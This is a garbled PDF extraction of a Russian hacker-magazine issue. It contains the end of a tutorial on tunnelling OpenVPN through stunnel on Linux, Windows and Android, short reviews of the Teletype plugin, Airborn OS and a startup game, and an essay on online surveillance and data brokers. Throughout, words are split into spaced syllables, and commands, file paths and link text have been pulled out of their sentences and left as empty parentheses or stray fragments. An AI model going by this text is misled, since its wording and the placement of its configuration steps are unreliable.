verifyPeer = yes
## Для этого нужен его сертификат
CAfile = /etc/stunnel/stunnel‐server.crt
## Сертификат и ключ нужны для проверки
## клиента (verifyPeer) на сервере
cert = /etc/stunnel/eakj‐desktop.crt
key = /etc/stunnel/eakj‐desktop.key

За пус каем  ( )  и  про веря ем  (
).

systemctl  start  stunnel systemctl  status 
stunnel

Кли ент stunnel в Fedora

Windows
Для  начала  нуж но  ска чать  и  уста новить  .  Най ти  его  мож но  на 

.
stunnel офи‐ 

циаль ном сай те
За тем нуж но ска чать  кли ент ские сер тифика ты и  клю чи с нашего сер вера

и  помес тить  их  в  ,  как  показа но
на скри не. Я делал это при помощи  , ты можешь исполь зовать любой
удоб ный тебе кли ент SSH. Пос ле уста нов ки и запус ка уви дишь глав ное окно
прог раммы.

C:\Program Files  (x86)\stunnel\config
WinSCP

Нас трой ки stunnel в Windows

Нуж но  отре дак тировать  стан дар тный  кон фиг,  а  так же  перемес тить  или  уда‐ 
лить сге нери рован ные при уста нов ке клю чи и сер тифика ты. Я перемес тил их
в пап ку  . Для Windows кон фиг поч ти иден тичен линук совому, толь ко с дру‐ 
гими путями.

old

[openvpn]
client = yes
accept = 127.0.0.1:1194
connect = 52.214.41.150:443
## Проверить сервер
verifyPeer = yes
## Для этого нужен его сертификат
CAfile = C:\Program Files (x86)\stunnel\config\stunnel‐server.crt
## Сертификат и ключ нужны для проверки
## клиента (verifyPeer) на сервере
cert = C:\Program Files (x86)\stunnel\config\eakj‐desktop.crt
key = C:\Program Files (x86)\stunnel\config\eakj‐desktop.key

Пос ле того как изме нил и сох ранил кон фиг, в окне stunnel жмешь Configura‐
tion → Reload Configuration.

Android
В качес тве  кли ента  stunnel  на мобиль ных  устрой ствах будет исполь зовать ся
при ложе ние  . Перене сем на телефон файл   и нас‐ 
тро им при ложе ние.

SSLDroid eakj‐mobile.p12

SSLDroid config

Ука жем  путь  к  фай лу,  вве дем  пароль,  который  запом нили  при  генера ции
, сох раним нас трой ки и запус тим сер вис.eakj‐mobile.p12

SSLDroid service start

Кли ент OpenVPN
Linux
Ска чаем и уста новим   из репози тория. Кли ент и сер вер идут вмес те.
В Fedora пили:  , в Arch Linux:  ,
в Ubuntu:  .

openvpn
dnf install ‐y openvpn pacman ‐S openvpn

apt install openvpn
Ска чаем фай лы кли ента с сер вера при помощи  . Для записи в 

 так же нуж ны пра ва рута.
scp /etc/

openvpn/client/

Ubuntu
В Ubuntu кли ент ские фай лы хра нят ся в   и сер висы называ ются

. Нап ример:
/etc/openvpn/

openvpn@<имя конфиг файла>

$ systemctl start openvpn@openvpn‐client

В  репози тори ях  Ubuntu  16.04.3  LTS  пакет    име ет  вер сию  2.3.10,
а  под дер жка  AES‐256‐GCM  появи лась  в  2.4.  При дет ся  или  най ти  све жий
пакет, или исполь зовать шиф рование AES‐256‐CBC (не забудь изме нить и на
сер вере).  Так же  могут  воз никнуть  проб лемы  с  отсутс тви ем  груп пы 
(фик сится коман дой  ). Если что‐то еще пой дет не так, вклю‐ 
чай логи и чини.

openvpn

nobody
groupadd nobody

$ scp ‐P 12222 eakj@52.214.41.150:"/tmp/{openvpn‐client*,ca.crt,ta.
key}" /etc/openvpn/client/

При мер ный  файл  кон фигура ции 
:

/etc/openvpn/client/openvpn‐client.
conf

client
dev tun
proto tcp
remote 127.0.0.1 1194
resolv‐retry infinite
nobind
user nobody
group nobody
persist‐key
persist‐tun
ca ca.crt
cert openvpn‐client.crt
key openvpn‐client.key
## на клиенте 1
tls‐auth ta.key 1
remote‐cert‐tls server
cipher AES‐256‐GCM
verb 3

Для отклю чения шиф рования дела ем то же, что и на сер вере:  .cipher none
При таком кон фигура цион ном фай ле кли енту всег да нуж но носить с собой

пять фай лов:
файл кон фигура ции (openvpn‐client.conf);•
сер тификат CA (ca.crt);•
кли ент ский сер тификат (openvpn‐client.key);•
кли ент ский ключ (openvpn‐client.key);•
ключ для tls‐auth (ta.key).•

Это  может  быть  не  всег да  удоб но,  поэто му  есть  воз можность  записать  их
содер жимое  в  кон фигура цион ный файл.  Вмес то  , 

,    и    исполь зует ся  ,  , 
,   и  . Выг лядит это при мер но так:

ca  ca.crt cert  client.
crt key  client.key tls‐auth  ta.key  1 <ca> <cert> <
key> key‐direction 1 <tls‐auth>

<ca>
содержимое ca.crt
</ca>
<cert>
содержимое openvpn‐client.crt
</cert>
<key>
содержимое openvpn‐client.key
</key>
## Указываем, что tls‐auth на стороне клиента
key‐direction 1
<tls‐auth>
содержимое ta.key
</tls‐auth>

Де таль нее  при мер  такого  кон фига  рас смот рим  при  нас трой ке  кли ента
Android.

Стар туем:

$ systemctl start openvpn‐client@openvpn‐client

и про веря ем:

$ systemctl status openvpn‐client@openvpn‐client

Windows
Ска чать кли ент OpenVPN для Windows мож но c  . Кон фиги
хра нят ся в  . Пос ле уста нов ки нуж но ска‐ 
чать кли ент ские сер тифика ты и клю чи с нашего сер вера и помес тить их в 

,  как  показа но  на  скри не.  Будем  исполь‐ 
зовать те же сер тифика ты и клю чи, что и для Linux (при вет  ).

офи циаль ного сай та
C:\Program Files\OpenVPN\config

C:\
Program  Files\OpenVPN\config

duplicate‐cn
Что бы соз дать кли ент ский кон фиг, откры вай «Блок нот» от адми на, копируй

при мер  и  уда ляй    и  .  Дол жно  получить ся  как  на
скри не. Заметь, исполь зует ся рас ширение  .

user  nobody group  nobody
.ovpn

Кон фиг OpenVPN для Windows

Стар туешь и видишь завет ную над пись 
 — зна чит, все работа ет.

Initialization Sequence Complet‐
ed

OpenVPN и stunnel в Windows

Убе дим ся

Android
Для Android есть при ложе ние  , будем исполь зовать имен‐ 
но  его.  Кон фиг  с  записан ными  в  него  сер тифика тами  и  клю чами  выг лядит
при мер но так:

OpenVPN for Android

client
dev tun
proto tcp
remote 127.0.0.1 1194
resolv‐retry infinite
nobind
user nobody
group nobody
persist‐key
persist‐tun
remote‐cert‐tls server
cipher AES‐256‐GCM
## На клиенте можно :‐)
verb 3
## Содержимое ca.crt
<ca>
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐
</ca>
## Содержимое openvpn‐client.crt
<cert>
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐
</cert>
## Содержимое openvpn‐client.key
<key>
‐‐‐‐‐BEGIN PRIVATE KEY‐‐‐‐‐
...
‐‐‐‐‐END PRIVATE KEY‐‐‐‐‐
</key>
## Указываем, что tls‐auth на стороне клиента
key‐direction 1
## Содержимое ta.key
<tls‐auth>
#
# 2048 bit OpenVPN static key
#
‐‐‐‐‐BEGIN OpenVPN Static key V1‐‐‐‐‐
...
‐‐‐‐‐END OpenVPN Static key V1‐‐‐‐‐
</tls‐auth>

Как ты мог заметить, файл   в начале содер жит при мер но
сле дующую информа цию.

openvpn‐client.crt

Certificate:
   Data:
       Version: 3 (0x2)
       Serial Number:
           9b:0a:56:f3:d4:70:97:66:d9:92:81:54:26:fc:9c:53
   Signature Algorithm: ecdsa‐with‐SHA256
       Issuer: CN=ChangeMe
       Validity
           Not Before: Dec  4 22:02:32 2017 GMT
           Not After : Dec  2 22:02:32 2027 GMT
       Subject: CN=openvpn‐client

Все это мож но опус тить и добавить в файл  кон фига  толь ко сам сер тификат
(от пометок   до  ), как сде лано в при мере.BEGIN END

Пе ремес тим готовый кон фиг на устрой ство и нач нем нас трой ку при ложе‐ 
ния.  В  глав ном  меню  жмешь  плю сик,  потом  «Импорт»,  выбира ешь  нуж ный
кон фиг и сох раня ешь.

OpenVPN на Android: глав ное меню и импорт про филя

На жима ешь  на  импорти рован ный  про филь  и  смот ришь  за  про цес сом  под‐ 
клю чения.

Под клю чает ся. Ура!

На конец,  видим  три  завет ных  сло ва:  Initialization  Sequence  Completed.  Все
работа ет! В некото рых слу чаях может понадо бить ся под коррек тировать зна‐ 
чение MSS, о чем это при ложе ние нам любез но сооб щит. Удач ной отладки!
;‐)
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TELETYPE — ПЛАГИН ДЛЯ ATOM, КОТОРЫЙ ПОЗВОЛЯЕТ
РЕДАКТИРОВАТЬ КОД ВМЕСТЕ1 Кросс‐плат формен ный редак тор для кода Atom, соз данный в GitHub
на осно ве движ ка Chromium, успел полюбить ся мно гим. Одна из его
глав ных фишек — это пла гины. Имен но ей и вос поль зовались раз‐ 
работ чики,  что бы  добавить  в  Atom  новую  экспе римен таль ную
фичу  —  одновре мен ное  редак тирова ние  кода  сра зу  нес коль кими
поль зовате лями.

Но вый пла гин называ ется  .  Уста новить  его мож но,  написав
в кон соли   либо из нас тро ек Atom — поищи
по сло ву teletype в раз деле Install. Пос ле уста нов ки в ниж ней панели
появит ся  зна чок  с  ради овыш кой.  Жми  на  нее  и  логинь ся  через
GitHub.

Teletype
apm install teletype

Что бы поделить ся докумен том, кли кай на ради овыш ку и копируй
строч ку с кодом — это ссыл ка на твое текущее окно редак тора. Что‐ 
бы  при соеди нить ся  к  редак тирова нию,  выбирай  пункт  Join  a  portal
и встав ляй код.

В кол лабора тив ном режиме ты уви дишь кур соры и выделе ние дру гих
поль зовате лей — для  пол ной  копии Google Docs  не  хва тает  раз ве
что  встро енно го  чата.  Зато  в  пра вой  час ти  окна  показа ны  знач ки
дру гих  поль зовате лей —  если  клик нуть  по  одно му  из  них,  то  окно
перей дет к редак тиру емой позиции и нач нет сле довать за  тем, что
дела ет твой товарищ.

При меча тель но,  что  Teletype  не  ста ли  встра ивать  пря мо  в  Atom.
Но воз можно, это изме нит ся в будущем.

AIRBORN OS — ОПЕНСОРСНАЯ И ПРИВАТНАЯ ЗАМЕНА
GOOGLE DOCS2 Не дав но с Google Docs   пре неп рият ная исто рия: мно‐ 
гим  запад ным  жур налис там  по  ошиб ке  заб локиро вали  акка унты,
яко бы  най дя  там  зап рещен ный  пра вила ми  кон тент.  Слож но  при‐ 
думать  луч ший  спо соб  напом нить,  что  алго рит мы  Google  не  гну‐ 
шают ся заг лядывать в лич ные пап ки с докумен тами.

прик лючилась

Про ект   — это оче ред ная попыт ка соз дать более при‐ 
ват ную и кон тро лиру емую замену Google Docs. При чем автор замах‐ 
нулся не прос то на офис ный пакет, а на целую опе раци онную сис‐ 
тему, работа ющую в бра узе ре.

Airborn OS

К  сожале нию,  бег лое  зна комс тво  с  Airborn  OS  оставля ет  силь ные,
но не самые при ятные впе чат ления. Интерфейс выг лядит кри вова то
(и,  судя  по    на  сай те  Product  Hunt,  автор  Airborn  это го
прос то не замеча ет), про изво дитель ность хро мает, на каж дом шагу
натал кива ешь ся на глю ки и огра ниче ния вро де невоз можнос ти дать
докумен ту наз вание на рус ском.

пе репис ке

По ка что с горем пополам работа ют толь ко тек сто вый про цес сор
и  редак тор  пре зен таций.  Осталь ные  при ложе ния,  которые  мож но
пос тавить из «магази на», — это веб‐вер сии раз ных сер висов, дос‐ 
тупные без вся кого Airborn.

Об рати вни мание на свал ку свер ху. С менед жмен том у окон ного
менед жера Airborn сла бова то

О похожем про екте под наз вани ем   мы уже   в прош‐ 
лом году. При мень шей амби циоз ности CryptPad на дан ный момент
кажет ся более про рабо тан ной и жиз неспо соб ной аль тер нативой.

CryptPad пи сали

Тем не менее сто ит  пом нить,  что поч ти  каж дый боль шой про ект
в  начале  сво его  пути  выг лядел  скром но.  Автор  Airborn  в  оди ноч ку
и  без  финан сирова ния  реали зовал  пару  важ ных  вещей  —  кол‐ 
лабора тив ное редак тирова ние и кон троль вер сий, при чем все это с
шиф ровани ем  на  кли ент ской  сто роне.  Код  Airborn  OS 
на GitHub по лицен зии AGPL, что тоже мож но счи тать весомым плю‐ 
сом.

дос тупен

INFO

Пос ле  пуб ликации  этой  замет ки  осно‐ 
ватель  Airborn  OS  Дани эль  Гюй генс  свя‐ 
зал ся  с  редак цией  и  сооб щил,  что
добавил  воз можность  давать  докумен там
наз вания  кирил лицей.  Так же  он  рас ска‐ 
зал,  что  пла ниру ет  обно вить  интерфейс
и убрать магазин, что сде лает Airborn OS
более похожей на тра дици онные офис ные
пакеты. Что ж, так дер жать!

UNICORN STARTUP SIMULATOR — БРАУЗЕРНАЯ ИГРА, В
КОТОРОЙ ТЫ ЗА ДЕСЯТЬ МИНУТ СОЗДАШЬ
МИЛЛИАРДНЫЙ СТАРТАП (ИЛИ НЕТ)3
Ес ли ты не без удо воль ствия смот ришь «Крем ниевую долину» и сле‐ 
дишь за веселой жизнью калифор ний ских стар тапов, то игра 

 навер няка при несет тебе десять‐пят надцать минут
веселья. В ней ты ста новишь ся осно вате лем стар тапа и дол жен сде‐ 
лать так, что бы через год он оце нивал ся в мил лиард дол ларов. Ина‐ 
че — смерть и заб вение.

Unicorn
Startup Simulator

Нес мотря на сло во «симуля тор» в наз вании, эту игру слож но наз вать
эко номи чес ким симуля тором. Все,  что  ты дела ешь, — это выбира‐ 
ешь  одно  из  двух  решений  в  оче ред ной  комич ной  ситу ации.  «Не
перепи сать ли нам все на PHP?» (нет, не перепи сать), «Не накурить‐ 
ся ли всем офи сом?», ну и так далее.

Каж дое  решение  вли яет  на  оцен ку  стар тапа  и  на  нас тро ение  сот‐ 
рудни ков.  Час то  ты  выиг рыва ешь  одно  за  счет  дру гого,  но  быва ют
и  бес про игрышные  вари анты.  Суть  игры —  в  том,  что бы  отга дать,
какой ответ  к  каким пос ледс тви ям при ведет.  Кста ти,  кон тента дос‐ 
таточ но,  что бы  было  инте рес но  играть  вто рой  и,  воз можно,  даже
тре тий раз. В общем, nuff said — если тебе по душе такие вещи, то
ты навер няка уже открыл игру в сосед ней вклад ке.
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СЦЕНА

Да же если ты тща тель но заботишь ся о защите сво их дан ных,
это не даст тебе жела емой при ват ности. И чем даль ше, тем
боль ше у ком паний и пра витель ств воз можнос тей собирать
и  исполь зовать  самую  раз ную  информа цию,  а  уж  иден‐ 
тифици ровать  по  ней  челове ка  —  вооб ще  не  проб лема.
На нес коль ких занят ных при мерах мы раз берем, как это про‐ 
исхо дит и к чему потен циаль но может при вес ти.

ТОТ САМЫЙ ПАНОПТИКУМ
Нач нем мы не с сов ремен ности, а с восем надца того века, из которо го к нам
приш ло сло во «паноп тикум». Изна чаль но его при думал изоб ретатель доволь‐ 
но стран ной вещи — тюрь мы,  в  которой над зиратель мог пос тоян но видеть
каж дого  зак лючен ного,  а  зак лючен ные  не  мог ли  бы  видеть  ни  друг  дру га,
ни над зирате ля. Зву чит как какой‐то мыс ленный экспе римент или философ‐ 
ская кон цепция, прав да? Отчасти так и есть, но автор это го понятия бри танец
Дже реми Бен там был нас тро ен пре дель но решитель но в сво ем стрем лении
пос тро ить паноп тикум в реаль нос ти.

Бен тамов ские чер тежи паноп тикума

Бен там был бук валь но одер жим сво ей иде ей и дол го упра шивал бри тан ское
и дру гие пра витель ства дать ему денег на стро итель ство тюрь мы нового типа.
Он  счи тал,  что  неп рерыв ное  и  незамет ное  наб людение  положи тель но  ска‐ 
жет ся  на  исправ лении  зак лючен ных.  К  тому же  такие  тюрь мы было бы  нам‐ 
ного дешев ле  содер жать. Под  конец он  уже и  сам был  готов  стать  глав ным
над зирате лем, но денег на стро итель ство соб рать так и не уда лось.

Вдох новлен ная паноп тикумом тюрь ма на Кубе. Заб рошена с 1967 года

С  тех  пор  в  раз ных  стра нах  было  пос тро ено  нес коль ко  тюрем  и  дру гих
заведе ний,  вдох новлен ных  чер тежами  Бен тама.  Но  нас  в  этой  исто рии,
конеч но,  инте ресу ет  дру гое.  Паноп тикум  поч ти  сра зу  стал  синони мом
для общес тва тоталь ной слеж ки и кон тро ля. Которое, кажет ся, стро ится пря‐ 
мо у нас на гла зах.

33 БИТА ЭНТРОПИИ
Ис сле дова тель  Арвинд  Нара янан  пред ложил  полез ный  метод,  который
помога ет  изме рить  сте пень  ано ним ности.  Он  наз вал  его  «33  бита  энтро‐ 
пии» — имен но столь ко информа ции нуж но знать о челове ке, что бы выделить
его уни каль ным обра зом сре ди все го населе ния Зем ли. Если взять за каж дый
бит какой‐то дво ичный приз нак, то 33 бита как раз дадут нам уни каль ное сов‐ 
падение сре ди 6,6 мил лиар да.

Од нако сле дует пом нить о том, что приз наки обыч но не дво ичны и иног да
дос таточ но  все го  нес коль ких  парамет ров.  Возь мем  для  при мера  базу  дан‐ 
ных, где хра нит ся поч товый индекс, пол, воз раст и модель машины. Поч товый
индекс огра ничи вает выбор ку в сред нем до 20 тысяч человек — и это циф ра
для очень плот но населен ного города: в Мос кве на одно поч товое отде ление
при ходит ся 10 тысяч человек, а в сред нем по Рос сии — 3,5 тысячи.

Пол огра ничит выбор ку вдвое. Воз раст — уже до нес коль ких сотен, если
не  десят ков.  А  модель  машины —  все го  до  пары  человек,  а  зачас тую  и  до
одно го.  Более  ред кая  машина  или  мел кий  населен ный  пункт  могут  сде лать
полови ну парамет ров ненуж ными.

СКРИПТЫ, КУКИ И ВЕСЕЛЫЕ ТРЮКИ
Вмес то  поч тового  индекса  и  модели  машины  мож но  исполь зовать  вер сию
бра узе ра, опе раци онную сис тему, раз решение экра на и про чие парамет ры,
которые мы оставля ем каж дому посещен ному сай ту, а рек ламные сети усер‐ 
дно  все  это  собира ют  и  с  лег костью  отсле жива ют  путь,  при выч ки  и  пред‐ 
почте ния отдель ных поль зовате лей.

WWW

Под робнее о методах фин гер прин тинга (не путать
с фин герин гом) читай в стать ях «

»  и  «
».

Так же  можешь  про верить  свой  бра узер
при помощи Am I Unique — мы так же 

.  Узна ешь  мно го  инте рес‐ 
ного!

То таль ная слеж‐ 
ка  в  интерне те  —  как  за  тобой  сле дят  и  как
положить  это му  конец Фин гер прин тинг  бра‐ 
узе ра.  Как  отсле жива ют  поль зовате лей  в  Сети

пи сали о нем
и  о  схо жих  сер висах

Или вот дру гой занят ный при мер, уже из мира мобиль ных при ложе ний. Каж‐ 
дая прог рамма для  iOS, которая получа ет дос туп к фотог рафи ям (нап ример,
что бы  наложить  на  них  кра сивый  эффект),  име ет  воз можность  за  секун ды
прос каниро вать всю базу и засосать метадан ные. Если фотог рафий мно го, то
из  дан ных  о  геоло кации  и  вре мени  съем ки  лег ко  сло жить  мар шрут  тво их
переме щений  за  пос ледние  пять  лет.  Proof  of  concept  можешь 
в репози тории Фелик са Кра узе.

пос мотреть

detect.location

Су щес тву ют  и  более  извес тные,  но  при  этом  не  менее  неп рият ные  вещи.
Нап ример,  мно гие  счет чики  посеща емос ти  вро де  «Яндекс.Мет рики»  поз‐ 
воля ют вла дель цам сай та, помимо про чего, записы вать сес сию поль зовате‐ 
ля —  то  есть  писать  каж дое  дви жение мыши  и  нажатие  на  кноп ку.  С  одной
сто роны,  ничего  нелегаль ного  тут  нет,  с  дру гой —  сто ит  пос мотреть  такую
запись сво ими гла зами, и понима ешь, что тут что‐то не так и такого механиз‐ 
ма  сущес тво вать  не  дол жно.  И  это  не  счи тая  того,  что  через  него  в  опре‐ 
делен ных слу чаях  .мо гут утечь пароли или пла теж ные дан ные

И  таких  при меров  мас са  —  если  ты  инте ресу ешь ся  темой  и  чита ешь
«Хакер»  доль ше  пары  месяцев,  то  сам  без  тру да  при пом нишь  что‐нибудь
в этом духе. Но гораз до слож нее понять, что про исхо дит с соб ранны ми дан‐ 
ными даль ше. А ведь жизнь их насыщен на и инте рес на.

ТОРГОВЦЫ ПРИВЫЧКАМИ
Мно гие собира емые дан ные на пер вый взгляд кажут ся безобид ными и зачас‐ 
тую обез личены, но свя зать их с челове ком не так слож но, как пред став ляет‐ 
ся,  а  безобид ность  зависит  от  обсто ятель ств.  Как  дума ешь,  нас коль ко
безопас но  делить ся  с  кем‐то  ну,  нап ример,  дан ными  шагоме ра?  По  ним,
в час тнос ти, лег ко понять, во сколь ко тебя нет дома и по каким дням ты воз‐ 
вра щаешь ся поз дно.

Од нако гра бите ли пока что до столь высоких тех нологий не дош ли, а вот
рек ламщи ков  любая  информа ция  о  тво их  при выч ках может  заин тересо вать.
Как час то ты куда‐то ходишь? По буд ням или по выход ным? Утром или пос ле
обе да? В какие заведе ния? И так далее и тому подоб ное.

Толь ко  в  США,  по  ,  сущес тву ет  нес коль ко
тысяч  фирм,  которые  занима ются  сбо ром,  перера бот кой  и  про дажей  баз
дан ных  (гиган ты  индус трии  —  Acxiom  и  Experian  опе риру ют  мил лиар дны ми
обо рота ми). Их основной про дукт — это раз ного рода рей тин ги, которые вла‐ 
дель цы биз несов могут  купить и в  готовом виде исполь зовать при при нятии
решений.

под сче там  жур нала  Newsweek

В  жела ющих  про дать  дан ные  тоже  нет  недос татка.  Любой  биз несмен,
узнавший,  что  мож но  сде лать  нем ного  денег  из  ничего,  как  минимум  заин‐ 
тересу ется.  И  не  думай,  что  глав ное  зло  здесь —  без душные  кор порации.
Стар тапы в этом пла не чуть ли не хуже: сегод ня в них работа ют прек расные
чес тные  люди,  а  зав тра может  остать ся  толь ко  пара  цинич ных менед жеров,
пус кающих с молот ка пос леднее иму щес тво.

Ав тор Newsweek отме чает важ ный момент: дан ные, собира емые бро кера‐ 
ми,  час то  содер жат  ошиб ки  и  рей тинг может  вый ти  невер ным.  Так  что  если
кому‐то вдруг отка жут в кре дите или не захотят при нимать на работу, то, воз‐ 
можно, ему сто ит винить не себя, а безум ную сис тему слеж ки, сти хий но воз‐ 
никшую за пос ледние пят надцать лет.

ТВОЙ ТЕНЕВОЙ ПРОФИЛЬ
В боль шинс тве стран центр общес твен ной жиз ни в онлай не — это Facebook,
поэто му и раз говоры о при ват ности в Сети час то кру тят ся вок руг него.

На  пер вый  взгляд  может  показать ся,  что  Facebook  неп лохо  заботит ся
о сох раннос ти лич ных дан ных и пре дос тавля ет мас су нас тро ек при ват ности.
Поэто му  тех ничес ки  под кован ные  люди  час то  спи сыва ют  со  сче тов  стра хи
и жалобы менее обра зован ных в этом пла не товари щей. Если кто‐то слу чай но
поделил ся с миром тем, чем делить ся не хотел, зна чит, виноват сам — надо
было вов ремя головой думать.

В реаль нос ти Facebook и прав да заботит ся о сох раннос ти лич ных дан ных,
но это ско рее утвер жде ние вро де извес тно го в СССР афо риз ма «Нам нужен
мир, и по воз можнос ти весь». Как и мно гие соци аль ные сети и мес сен дже ры,
Facebook  пыта ется  зах ватить  и  сох ранить  столь ко  лич ных  дан ных,  сколь ко
получит ся. Иног да пос ледс твия это го вырыва ются наружу.

По каза тель но иссле дова ние, которое недав но   репор тер Giz‐
modo  Каш мир  Хилл.  Она  иска ла  поль зовате лей  Facebook,  которые  уви дели
в  раз деле  «Вы  можете  знать  этих  людей»  кого‐то,  кого  не  дол жны  были
видеть,  или  наобо рот  —  их  про филь  труд нообъ ясни мым  обра зом  попал ся
кому‐то малоз накомо му.

пред при няла

Сре ди при меров Хилл при водит:
со циаль ного работ ника,  которо го кли ент на вто рое посеще ние стал вне‐ 
зап но  называть  по  проз вищу,  хотя  они  не  обме нива лись  никаки ми  дан‐ 
ными;

•

жен щину,  чей  отец  бро сил  семью,  ког да  ей  было  шесть  лет.  Facebook
посове товал ей добавить в друзья любов ницу, к которой он и ушел сорок
лет назад;

•

ад воката, который рас ска зал, что в ужа се уда лил свой акка унт, ког да сре‐ 
ди  рекомен даций  встре тил  чле на  защиты  по  недав нему  делу,  а  с  этим
челове ком он вза имо дей ство вал толь ко по рабочей поч те, не при вязан ной
к «Фей сбу ку».

•

Уда лить  акка унт  в  Facebook —  это  решитель ный,  но  в  дан ном  слу чае  лишь
огра ничен но полез ный шаг. Не сом невай ся, что соци аль ная сеть про дол жит
хра нить все дан ные и исполь зовать их для пос тро ения скры того соци аль ного
гра фа.

При чина всех перечис ленных слу чаев одна: алго рит мы Facebook успешно
свя зали  воеди но  кусоч ки  ког да‐то  кем‐то  оставлен ной  информа ции.  Пред‐ 
положим,  у  одно го  тво его  зна комо го  есть  толь ко  твой  номер  телефо на,  а  у
дру гого — толь ко имейл. Они оба дали «Фей сбу ку» прос каниро вать адресную
кни гу.  Таким обра зом  телефон и поч та будут ассо цииро ваны друг с дру гом.
А  так же со все ми  тво ими  телефо нами, адре сами, номера ми в инстант‐мес‐ 
сен дже рах,  ник ней мами,  которы ми  ты  ког да‐либо  поль зовал ся  и  кому‐то
давал.

INFO

По хожее  поведе ние 
.  Вот  такой  парадокс:  мес сен джер,

который,  с  одной  сто роны,  пре дос тавля ет  удоб‐ 
ные средс тва шиф рования, с дру гой — не забыва‐ 
ет сам зах ватить все, до чего дотянет ся.

бы ло  замече но  и  за  «Телег‐ 
рамом»

Еще  веселее  то,  что  у  «Фей сбу ка»  уже  так  мно го  дан ных,  что,  даже  если
отдель ный человек никог да не имел акка унта, его про филь все рав но мож но
сос тавить  из  информа ции,  которую  неп рерыв но  оставля ют  дру гие  люди.
А «мож но» в таких слу чаях зна чит, что так оно навер няка и про исхо дит. Если
алго рит мы соц сети уви дят информа цион ную дыру в фор ме челове ка, то они
будут иметь ее в виду и допол нять новыми деталя ми.

Сот рудни ки  Facebook  страш но  не  любят  сло восо чета ние  «теневой  про‐ 
филь». Конеч но, при ятно думать,  что они прос то собира ют дан ные,  которые
помогут  людям  най ти  ста рых  дру зей,  возоб новить  уте рян ные  деловые  кон‐ 
такты  и  все  в  таком  духе.  Чуть  менее  при ятно  —  пом нить  о  том,  что  все
это  дела ется  ради  того,  что бы  более  эффектив но  про давать  рек ламу.  А  уж
пос тоян но  вооб ражать  слу чаи  шан тажа,  мес ти  или  мошен ничес тва  и  вов се
не хочет ся.

Нам при этом совер шенно не важ но, чего хотят Цукер берг и его сот рудни‐ 
ки.  Да,  ско рее  все го,  он  жале ет,  что  на  заре  сво ей  карь еры   пер вых
поль зовате лей Facebook обид ными сло вами dumb fucks за то, что те оставля‐ 
ли  на  его  сай те  лич ные  дан ные.  Но  изме нились  ли  с  тех  пор  его  взгля ды
на жизнь? И более важ ный воп рос — не ста новят ся ли его сло ва все более
прав дивыми?

наз вал

НЕ ОЧЕНЬ ОТДАЛЕННОЕ БУДУЩЕЕ
Еще десять‐пят надцать лет назад все, о чем мы тут говори ли, либо не сущес‐ 
тво вало,  либо  не  вол новало  боль шинс тво  людей.  Сей час  реак ция  пуб лики
потихонь ку меня ется,  но,  ско рее  все го,  недос таточ но быс тро,  и  сле дующие
десять‐пят надцать лет в пла не при ват ности обе щают стать  край не неп рият‐ 
ными (или неп риват ными?).

Ес ли  сей час  сле дить  про ще  все го  в  интерне те,  то  с  мини атю риза цией
и  уде шев лени ем  элек тро ники  те  же  проб лемы  пос тепен но  доберут ся  и  до
окру жающе го нас мира. Собс твен но, они уже потихонь ку добира ются, но это
толь ко начало.

Не дав но все оха ли и аха ли от фотог рафии сглю чив шего рек ламно го
стен да в пиц церии, который детек тил лица. Вол новать ся надо было, ког ‐
да эту шту ку возили по выс тавкам

В статье « » писатель Чар ли Стросс отталки вает ся
от  закона  Куми  (вари ации  закона  Мура,  которая  говорит,  что  энер гоэф‐ 
фектив ность  компь юте ров  удва ивает ся  каж дые 18 месяцев)  и  рас счи тыва ет
минималь но пот ребля емую мощ ность компь юте ров 2032 года.

How low (power) can you go?

По  гру бым  при кид кам Строс са  выходит,  что  ана лог  нынеш них маломощ‐ 
ных  мобиль ных  сис тем  на  чипе  с  набором  сен соров  через  пят надцать  лет
смо жет  питать ся  от  сол нечной  батареи  со  сто роной  два‐три  мил лимет ра
либо  от  энер гии  ради осиг нала.  И  это  без  уче та  того,  что  могут  появить ся
более эффектив ные батареи или дру гие спо собы дос тавки энер гии.

Стросс  рас сужда ет  даль ше:  «Будем  счи тать,  что  наш  гипоте тичес кий
компь ютер с низ ким энер гопот ребле нием при мас совом про изводс тве будет
сто ить 10 цен тов  за шту ку.  Тог да пок рыть Лон дон про цес сорами по одно му
на  квад ратный  метр  к  2040  году  будет  сто ить  150  мил лионов  евро,
или 20 евро на челове ка». Столь ко же влас ти Лон дона за 2007 год пот ратили
на отди рание жвач ки от дорог, так что вряд ли такой про ект ока жет ся городу
не по кар ману.

Michigan Micro Mote — про тотип кро шеч ного компь юте ра с сол нечной
батаре ей. И это тех нологии 2015 года, а не 2034‐го

Даль ше  Стросс  обсужда ет  выгоды,  которые  может  дать  компь юте риза ция
город ских повер хнос тей, — от супер точных прог нозов погоды до пре дот вра‐ 
щения эпи демий. Рекомен дую почитать со все ми под робнос тями, но в рам‐ 
ках этой статьи нас, конеч но, инте ресу ет дру гое: тот уро вень тоталь ного наб‐ 
людения,  который  может  дать  эта  поч ти  что  «умная  пыль»  из  науч ной  фан‐ 
тасти ки.

«Носить  худи  уже не поможет», — с сар казмом отме чает Стросс. И дей‐ 
стви тель но: даже если у вез десущих сен соров не будет камер, они все рав но
смо гут  счи тывать  каж дую  мет ку  RFID  или  иден тифици ровать  мобиль ные
устрой ства с модуля ми свя зи. Да и собс твен но, почему не будет камер? Кро‐ 
шеч ные  объ екти вы,  которые  мож но  про изво дить  сра зу  вмес те  с  мат рицей,
уже сей час  .соз дают ся в лабора тор ных усло виях

ПАМЯТЬ ТОЛПЫ
То,  к  чему может  потен циаль но  при вес ти  рас пыление  компь юте ров  ров ным
сло ем по окру жающей мес тнос ти, Стросс называ ет сло вами panopticon sin‐
gularity  —  по  ана логии  с  тех нологи чес кой  син гуляр ностью,  которая  под‐ 
разуме вает  бес кон троль ное  рас простра нение  тех нологий.  Это  иная  тех‐ 
ноген ная  стра шил ка,  которая  озна чает  пов семес тное  наб людение  и,
как следс твие, нес вободу.

Мож но  вооб разить,  до  каких  край нос тей  дой дет,  если  тех нологии  мас‐ 
совой  слеж ки  попадут  в  руки  дик татор ско му  режиму  или  религи озным фун‐ 
дамен талис там.  Одна ко  даже  если  пред став лять,  что  такую  сис тему  будет
кон тро лиро вать  обыч ное,  не  осо бен но  кор румпи рован ное  и  не  слиш ком
зацик ленное  на  тра дици онных  цен ностях  пра витель ство,  все  рав но  как‐то
не по себе.

